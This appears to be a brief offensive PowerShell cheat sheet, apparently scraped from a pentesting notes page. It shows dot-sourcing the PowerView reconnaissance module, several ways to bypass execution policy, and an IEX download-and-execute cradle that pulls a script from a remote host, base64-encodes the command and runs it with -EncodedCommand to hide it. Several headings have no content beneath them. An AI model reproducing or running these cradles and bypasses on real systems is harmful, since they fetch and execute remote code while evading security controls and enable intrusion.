powershell theory
Loading powershell module via dot sourcing
. .\PowerView.ps1 # dot sourcing on current directoryPowershell basic cmdlets and help system
Get-Command -CommandType cmdlet # Lists all available cmdlets
Get-Help <cmdlet> # Display usage about a cmdlet
Get-Help <cmdlet> -Examples # Display example usage about a cmdletNote:
Powershell bypass Execution policy
powershell -ExecutionPolicy Bypass
powershell -ep bypass
powershell -c <command>
------------------------------------------------------------------------------------------
$string = 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.71/test.bat")'
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
powershell -EncodedCommand $encodedCommand
------------------------------------------------------------------------------------------
$env:PSExecutionPolicyPreference="Bypass"Importing Modules
LIsting all commands in a module
Download and execute files using powershell
Download and Execute using gist
Last updated